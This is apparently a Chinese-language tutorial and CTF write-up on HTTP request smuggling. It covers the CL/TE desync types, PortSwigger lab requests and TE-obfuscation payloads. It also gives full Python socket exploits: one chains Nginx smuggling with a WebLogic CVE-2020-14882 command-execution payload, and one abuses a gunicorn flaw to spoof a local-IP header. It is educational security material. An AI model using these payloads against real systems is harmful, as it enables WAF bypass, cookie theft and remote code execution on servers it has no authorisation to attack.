協議層安全相關《http請求走私與CTF利用》
0x00 前言
最近刷題的時候多次遇到HTTP請求走私相關的題目,但之前都沒怎麼接觸到相關的知識點,只是在GKCTF2021--hackme中使用到了 CVE-2019-20372(Nginx<1.17.7 請求走私漏洞),具體講就是通過nginx的走私漏洞訪問到Weblogic Console的登入頁面,然後打Weblogic歷史漏洞讀取flag。當時做那道題的時候對走私漏洞沒有深入理解,今天打ISCC2022的時候又遇到了一道利用gunicorn<20.04請求走私漏洞繞waf的題目,因此好好學習一下還是很有必要的。
0x01 發展時間線
最早在2005年,由Chaim Linhart,Amit Klein,Ronen Heled和Steve Orrin共同完成了一篇關於HTTP Request Smuggling這一攻擊方式的報告。通過對整個RFC文件的分析以及豐富的例項,證明了這一攻擊方式的危害性。
https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
在2016年的DEFCON 24 上,@regilero在他的議題——Hiding Wookiees in HTTP中對前面報告中的攻擊方式進行了豐富和擴充。
在2019年的BlackHat USA 2019上,PortSwigger的James Kettle在他的議題——HTTP Desync Attacks: Smashing into the Cell Next Door中針對當前的網路環境,展示了使用分塊編碼來進行攻擊的攻擊方式,擴充套件了攻擊面,並且提出了完整的一套檢測利用流程。
0x02 什麼是請求走私
當今的web架構中,單純的一對一客戶端---服務端結構已經逐漸過時。為了更安全的處理客戶端發來的請求,服務端會被分為兩部分:前端伺服器與後端伺服器。前端伺服器(例如代理伺服器)負責安全控制,只有被允許的請求才能轉發給後端伺服器,而後端伺服器無條件的相信前端伺服器轉發過來的全部請求,並對每一個請求都進行響應。但是在這個過程中要保證前端伺服器與後端伺服器的請求邊界設定一致,如果前後端伺服器對請求包處理出現差異,那麼就可能導致攻擊者通過傳送一個精心構造的http請求包,繞過前端伺服器的安全策略直接抵達後端伺服器訪問到原本禁止訪問的服務或介面,這就是http請求走私。
聽起來是不是有點像
0x03 漏洞成因與常見型別
http請求走私攻擊比較特殊,它不像常規的web漏洞那樣直觀。它更多的是在複雜網路環境下,不同的伺服器對RFC標準實現的方式不同,程度不同。因此,對同一個HTTP請求,不同的伺服器可能會產生不同的處理結果,這樣就產生了安全風險。
在學習之前我們先了解一下HTTP1.1中使用最為廣泛的兩種特性:Keep-Alive&Pipeline。
Keep-Alive&Pipeline
所謂Keep-Alive,就是在HTTP請求中增加一個特殊的請求頭Connection: Keep-Alive,告訴伺服器,接收完這次HTTP請求後,不要關閉TCP連結,後面對相同目標伺服器的HTTP請求,重用這一個TCP連結,這樣只需要進行一次TCP握手的過程,可以減少伺服器的開銷,節約資源,還能加快訪問速度。當然,這個特性在HTTP1.1中是預設開啟的。
有了Keep-Alive之後,後續就有了Pipeline,在這裡呢,客戶端可以像流水線一樣傳送自己的HTTP請求,而不需要等待伺服器的響應,伺服器那邊接收到請求後,需要遵循先入先出機制,將請求和響應嚴格對應起來,再將響應傳送給客戶端。
如今,瀏覽器預設是不啟用Pipeline的,但是一般的伺服器都提供了對Pipleline的支援。
CL&TE
CL 和 TE 即是 Content-Length 和 Transfer-Encoding 請求頭(嚴格來講前者是個實體頭,為了方便就都用請求頭代指)。這裡比較有趣的是 Transfer-Encoding(HTTP/2 中不再支援),指定用於傳輸請求主體的編碼方式,可以用的值有 chunked/compress/deflate/gzip/identity ,完整的定義在 Transfer-Encoding#Directives 和 rfc2616#section-3.6
CL好理解,對於TE我們重點關注chunked。當我們設定TE為chunked時,CL就會被省略。為了區分chunk的邊界,我們需要在每個chunk前面用16進位制數來表示當前chunk的長度,後面加上\r\n,再後面就是chunk的內容,然後再用\r\n來代表chunk的結束。最後用長度為 0 的塊表示終止塊。終止塊後是一個 trailer,由 0 或多個實體頭組成,可以用來存放對資料的數字簽名等。譬如下面這個例子:
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b //chunk_size
q=smuggling
6
hahaha
0 //end
[blank]
[blank]
另外要注意\r\n佔2位元組,我們在計算長度的時候很容易把它們忽略。最後把請求包以位元組流形式表述出來就是:
POST / HTTP/1.1\r\nHost: 1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n
常見走私型別
1.CL不為0
如果前端代理伺服器允許GET攜帶請求體,而後端伺服器不允許GET攜帶請求體,後端伺服器就會直接忽略掉GET請求中的Content-Length頭,這就有可能導致請求走私。
例如我們構造出:
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 43\r\n
GET / admin HTTP/1.1\r\n
Host: example.com\r\n
\r\n
在前端伺服器看來它是一個請求,但是在後端伺服器來看它就是:
//第一個請求
GET / HTTP/1.1\r\n
Host: example.com\r\n
//第二個請求
GET / admin HTTP/1.1\r\n
Host: example.com\r\n
2.CL CL
在RFC7230的第3.3.3節中的第四條中,規定當伺服器收到的請求中包含兩個Content-Length,而且兩者的值不同時,需要返回400錯誤。
https://tools.ietf.org/html/rfc7230#section-3.3.3
但是很明顯這並非是強制的,如果伺服器不遵守安全規定在伺服器收到多個CL不相同的請求時不返回400錯誤,那麼就可能會導致請求走私。
我們假設前端伺服器按照第一個CL處理而後端伺服器按照第二個CL,構造出如下HTTP包:
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
前端代理伺服器收到的請求通過第一個CL判斷body為8位元組,隨後將包傳送給後端源伺服器;源伺服器收到請求通過第二個CL判斷body為7位元組,這時候最後一個位元組 b'a'就會被遺留在源伺服器快取器。由於前後端伺服器一般是寵用TCP連線,假設此時正常使用者向伺服器傳送了正常的資料包,如下:
GET / HTTP/1.1\r\n
Host: example.com\r\n
這時殘留在快取中的一個位元組就會被新增到這個正常的請求前端變成:
aGET / HTTP/1.1\r\n
Host: example.com\r\n
導致了請求走私,正常資料包被篡改。
但很明顯這種情況過於“巧合”應該很難遇見,存在兩個CL的包一般伺服器都不會接受,在RFC2616的第4.4節中,規定:如果收到同時存在Content-Length和Transfer-Encoding這兩個請求頭的請求包時,在處理的時候必須忽略Content-Length,這就意味著我們可以在頭部同時包含這兩種請求頭,相比這下這種方式更現實一些。
3.CL TE
所謂CL TE就是前置伺服器認為 Content-Length 優先順序更高(或者說根本就不支援 Transfer-Encoding ) ,後端伺服器認為 Transfer-Encoding 優先順序更高。
我們可以構造出body中帶有位元組 0的請求包,前端伺服器通過CL判斷這是一個正常的資料包並轉發給後端,後端伺服器使用TE就會把位元組0後的資料滯留到緩衝區,並且與下一次的正常請求進行拼接,這裡用一下portswigger團隊的lab作為實驗:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
構造如下請求包:
POST / HTTP/1.1\r\n
Host: ac721f8e1fcb0119c0b98800005c0061.web-security-academy.net\r\n
Cookie: session=ehzpRrrgyPHDRJtSnaWLcZ0fstSXLWiC\r\n
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"\r\n
Sec-Ch-Ua-Mobile: ?0\r\n
Sec-Ch-Ua-Platform: "Windows"\r\n
Upgrade-Insecure-Requests: 1\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n
Sec-Fetch-Site: none\r\n
Sec-Fetch-Mode: navigate\r\n
Sec-Fetch-User: ?1\r\n
Sec-Fetch-Dest: document\r\n
Accept-Encoding: gzip, deflate\r\n
Accept-Language: zh-CN,zh;q=0.9\r\n
Connection: close\r\n
Content-Length: 10\r\n
Transfer-Encoding:chunked\r\n
\r\n
0\r\n
\r\n
A\r\n
\r\n
連續傳送幾次就會發現字母A被拼接到了下一請求中,導致了請求走私,當然也會報錯。
4.TE CL
TE CL與CL TE正好相反,假如前端伺服器處理TE請求頭,而後端伺服器處理CL請求頭,我們同樣可以構造惡意資料包完成走私攻擊;依舊使用portswigger的lab:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
我們構造出如下請求:
POST / HTTP/1.1
Host: ac901ff41f9aa7fdc0ce7b16001000db.web-security-academy.net
Cookie: session=MrJkkUD4dyxv9gzzgERPtb56d0cCo79Z
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
12
WPOST / HTTP/1.1
0
多次傳送後發現:
WPOST被拆分了出來,重點關注body部分
\r\n
12\r\n
WPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
前端處理TE讀取到0\r\n\r\n之後就認為讀取完畢傳送給後端,而後端處理CL只讀取4位元組\r\n12就認為資料包結束,這時候剩下的WPOST / HTTP/1.1\r\n\r\n0\r\n\r\n就被認為是另一個請求,因此發生了請求報錯。
5.TE TE
TE-TE:前置和後端伺服器都支援 Transfer-Encoding,但通過混淆能讓它們在處理時產生分歧。
lab:https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header
構造出如下請求包:
POST / HTTP/1.1
Host: ace41f161f1a1382c0814ee300db0086.web-security-academy.net
Cookie: session=nqskpdP0aWuG4GW5xlYYxEUVulcJC6vG
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding:chunked //兩種TE造成混淆
Transfer-Encoding:cow
5c
WPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
多次傳送後:
可以看到這裡我們採用了:
Transfer-Encoding:chunked\r\n
Transfer-Encoding:cow\r\n
除了這種混淆方式,除了這些portswigger團隊還給出了其它可用於TE混淆的payload:
Transfer-Encoding: xchunked
Transfer-Encoding[空格]: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[空格]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
0x04 走私攻擊應用例項
1.使用CL TE走私獲取其他使用者的請求
lab:https://ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net/
開啟頁面是blog,使用者可以在頁面發表評論,由於前後端伺服器的請求頭處理差異導致我們可以利用CL TE獲取其它使用者的請求頭,譬如我們構造出如下請求:
POST / HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
Content-Length: 333
Transfer-Encoding:chunked
Content-Type: application/x-www-form-urlencoded
0
POST /post/comment HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
Content-Length: 700
Content-Type: application/x-www-form-urlencoded
csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring
前端伺服器使用CL驗證,獲取CL為333後判定這是一個正常的請求併發送給後端,而後端伺服器通過TE的結尾表標識0\r\n\r\n認為前半部分是一個正常的請求,而後半部分:
POST /post/comment HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
Content-Length: 700
Content-Type: application/x-www-form-urlencoded
csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring
因為Pipeline的存在被放置在了快取區。如果這時另一個正常使用者也發來了一段評論,那麼這個請求會被拼接到滯留在快取區的請求後面構成一個新的請求:
POST /post/comment HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
Content-Length: 700
Content-Type: application/x-www-form-urlencoded
csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=springPOST /post/comment HTTP/1.1
Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
Cookie: session=ashAwdweas.......
這時候我們就發現請求頭被拼接到了comment的後面然後被當作comment返回,這樣我們就可能通過獲取到其他使用者的Cookie。
在lab中我們要不斷第二個CL的大小,調整至合適大小才有可能正常洩露出來;我從700開始伺服器報500,但不知道是哪裡出了問題響應一直超時:
不過原理還是很好理解,大家可以自己去試一試,有點玄學。
2.洩露請求頭重寫請求實現未授權訪問
前面我們提到,前端伺服器的作用之一就是過濾外界使用者對於未授權介面的訪問,一般前端使用者收到一段請求後,會在包裡新增一些請求頭例如:
• 使用者的session等會話ID。
• XFF頭用於顯示使用者IP,當然一般不會是X-Forwarded-For因為很容易被猜到。
• 使用者指紋資訊、token等。
如果我們能洩露這些前端伺服器向後端伺服器中繼傳送的請求中的請求頭,那麼我們就可以偽造出前端伺服器的請求包來完成對敏感介面的未授權訪問,實現一些惡意操作。
那麼問題來了,我們如何能獲取到前端伺服器傳送到後端伺服器的請求頭呢?其實不難想,如果伺服器能對我們輸入的POST引數,即body部分響應輸出,然後我們構造一個普通的請求放在body後面,前端伺服器接收到之後就會對我們新增的請求進行重寫,如果我們的指定Content-Length為較大的值就會把前端伺服器重寫時新增的重要欄位給洩露出來拼接到body後面,隨後後端伺服器會將其與響應一併返回。
這麼講可能還是有些抽象,我們拿lab來舉例:
https://acbc1f4d1e121980c02b64d600c40022.web-security-academy.net/
構造出如下請求包:
POST / HTTP/1.1
Host: acbc1f4d1e121980c02b64d600c40022.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Cookie: session=RcsAYo8SoCQx0bwXn0oG0G1RkLNPHuz4
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Transfer-Encoding:chunked
0
POST / HTTP/1.1
Content-Length:70
Connection:close
search=111
多傳送幾次我們會發現成功洩露出來XFF頭資訊:
我們簡單捋一下過程便於理解,首先前端伺服器通過CL判斷出這是一個完整的請求並轉發給後端伺服器,後端伺服器通過TE將0位元組標識前的部分正常處理,後半部分也被看作是一次正常的請求但被滯留在快取區,同時由於我們設定的CL是超過實際長度,快取區就會等待下一次正常請求,也就是前端伺服器發來的新請求擷取其部分請求頭放在請求引數後面湊夠CL後一併返回。
我們走私到後端伺服器被滯留在快取區的請求是:
POST / HTTP/1.1
Content-Length:70
Connection:close
search=111
後端伺服器接收到新請求並拼接在search之後是:
POST / HTTP/1.1
Content-Length:70
Connection:close
search=111 POST / HTTP/1.1 X-TsINOz-Ip: 117.136.5.78 Host:......
最後後端伺服器就會將資訊響應返回。
3.其它應用
除了這兩種還有一些利用方式:
• 反射型 XSS 組合拳
• 將 on-site 重定向變為開放式重定向
• 快取投毒
• 快取欺騙
這些@mengchen師傅在知道創宇404發的paper裡都有實驗講解,感興趣的可以去看一看。(paper連結在文末)
0x05 CTF實戰利用
GKCTF2021[hackme]
這道題目首先是需要nosql注入爆出密碼,然後登陸獲得任意檔案讀取功能,前半部分我們暫且忽略,我們重點關注後半部分。
讀取nginx配置檔案發現後端存在weblogic服務:
同時注意到nginx版本為1.17.6,存在請求走私:
假如我們構造:
GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /_hidden/index.html HTTP/1.1
Host: notlocalhost
那麼nginx會把這兩個請求都執行,這就會造成請求走私。可參考:https://v0w.top/2020/12/20/HTTPsmuggling/#5-2-%EF%BC%88CVE-2020-12440%EF%BC%89Nginx-lt-1-8-0-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81
針對這道題目我們構造出如下請求包:
GET /test HTTP/1.1
Host: node4.buuoj.cn:27230
Content-Length: 0
Transfer-Encoding: chunked
GET /console/login/LoginForm.jsp HTTP/1.1
Host: weblogic
響應包中包含了weblogic的版本資訊:
WebLogic Server Version: 12.2.1.4.0
版本正好契合CVE-2020-14882,我們直接拿socket去打就可以拿到flag。
最終exp
//來源於https://www.lemonprefect.cn的部落格
import socket
sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("node4.buuoj.cn", 26319))
payload = b'''HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n'''
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:
print(response.decode())
try:
response = sSocket.recv(2147483647)
except:
break
sSocket.close()
RCTF2019[esay calc]
常規繞waf
首先檢視原始碼根據提示來到calc.php
程式碼對特殊字元進行了一些過濾,注意到最後程式碼執行,我們傳入:
calc.php?num=;)phpinfo();//
執行後發現:
明顯是有waf不合法請求,有一種做法是引數前面加空格使伺服器無法解析繞waf,再用ascii轉碼讀檔案:
? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
走私繞waf
注意到只要能讓前端伺服器報錯我們就能突破前端waf限制;所以事實上我們還可以利用走私攻擊繞waf,而且前面四種方式都是有效的,這裡舉兩個例子,剩下幾種大家可以自行嘗試:
注意下面的請求中num前沒有空格了。
CL CL
CL TE
ISCC2022[讓我康康!]
分析與利用
如果直接訪問flag會爆403:
我們通過相應包的頭部發現了gunicorn20.0,經查閱版本存在請求走私,具體可參考:
https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/
通過給出的POC我們編寫指令碼成功實現請求走私,看到要求很明顯是需要獲取前端伺服器請求頭的來源IP名稱來偽造本地訪問獲取flag:
那麼我的思路就是多次傳送請求,並且設定前一個請求的CL為超過實際請求體的較大數值;由於後端伺服器設定Keep-Alive,所以它會誤認為請求沒有傳送完畢,會繼續等待;而這時候我們再給前端伺服器傳送一個請求,前端伺服器就會把帶有來源IP頭部的http包傳送給後端伺服器,後端伺服器接收足夠上一包內CL的時候就會把這個洩露敏感憑證的包一併返回給客戶端,從而造成了敏感資訊洩露。
其實思路與上面講到的應用例項2一樣,只不過gunicorn20.0的走私漏洞是由於預設Sec-Websocket-Key的配置導致後端伺服器會以xxxxxxxx為標識位,這就導致xxxxxxxx後面的部分會滯留在快取區,可以認為是一種變種的CL TE走私。
我們可以通過burp直接構造請求,但是由於Content-Length需要我們自定義,比如第一個Content-Length僅僅是計算到第一個手動新增的POST請求,所以構造的時候要額外小心。
當然我們直接寫指令碼拿socket發更直觀。
最終exp
import socket
secret_payload=b'''POST / HTTP/1.1\r
Host: 59.110.159.206:7020\r
Content-Length: 149\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded\r
Sec-Websocket-Key1:x\r
\r
xxxxxxxxPOST / HTTP/1.1\r
Host:127.0.0.1\r
secr3t_ip: 127.0.0.1\r
Content-Length: 150\r
Content-Type: application/x-www-form-urlencoded\r
\r
search=abc\r
\r
POST / HTTP/1.1\r
Content-Length: 14\r
Content-Type: application/x-www-form-urlencoded\r
\r
search=111\r
\r
'''
final_payload=b'''POST / HTTP/1.1\r
Host: 59.110.159.206:7020\r
Content-Length: 152\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r
Content-Type: application/x-www-form-urlencoded\r
Sec-Websocket-Key1:x\r
\r
xxxxxxxxGET /fl4g HTTP/1.1\r
Host:127.0.0.1\r
secr3t_ip: 127.0.0.1\r
Content-Length: 150\r
Content-Type: application/x-www-form-urlencoded\r
\r
search=abc\r
\r
POST / HTTP/1.1\r
Content-Length: 14\r
Content-Type: application/x-www-form-urlencoded\r
\r
search=111\r
\r
'''
test1 = b'''POST / HTTP/1.1\r
Host: 127.0.0.1\r
Content-Length: 67\r
Sec-Websocket-Key1:x\r
\r
xxxxxxxxGET /fl4g HTTP/1.1\r
Host:127.0.0.1\r
Content-Length: 123\r
\r
GET / HTTP/1.1\r
Host: 127.0.0.1\r
\r
'''
test2=b'''POST / HTTP/1.1
Host: 59.110.159.206:7020
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
search=123'''
sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("59.110.159.206", 7020))
def send(payload):
print(payload)
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:
print(response.decode())
try:
response = sSocket.recv(2147483647)
except:
break
sSocket.close()
if __name__ == '__main__':
send(final_payload)
0x06 Reference
https://regilero.github.io/tag/Smuggling/
https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
更多靶場實驗練習、網安學習資料,請點選這裡>>
搜尋
複製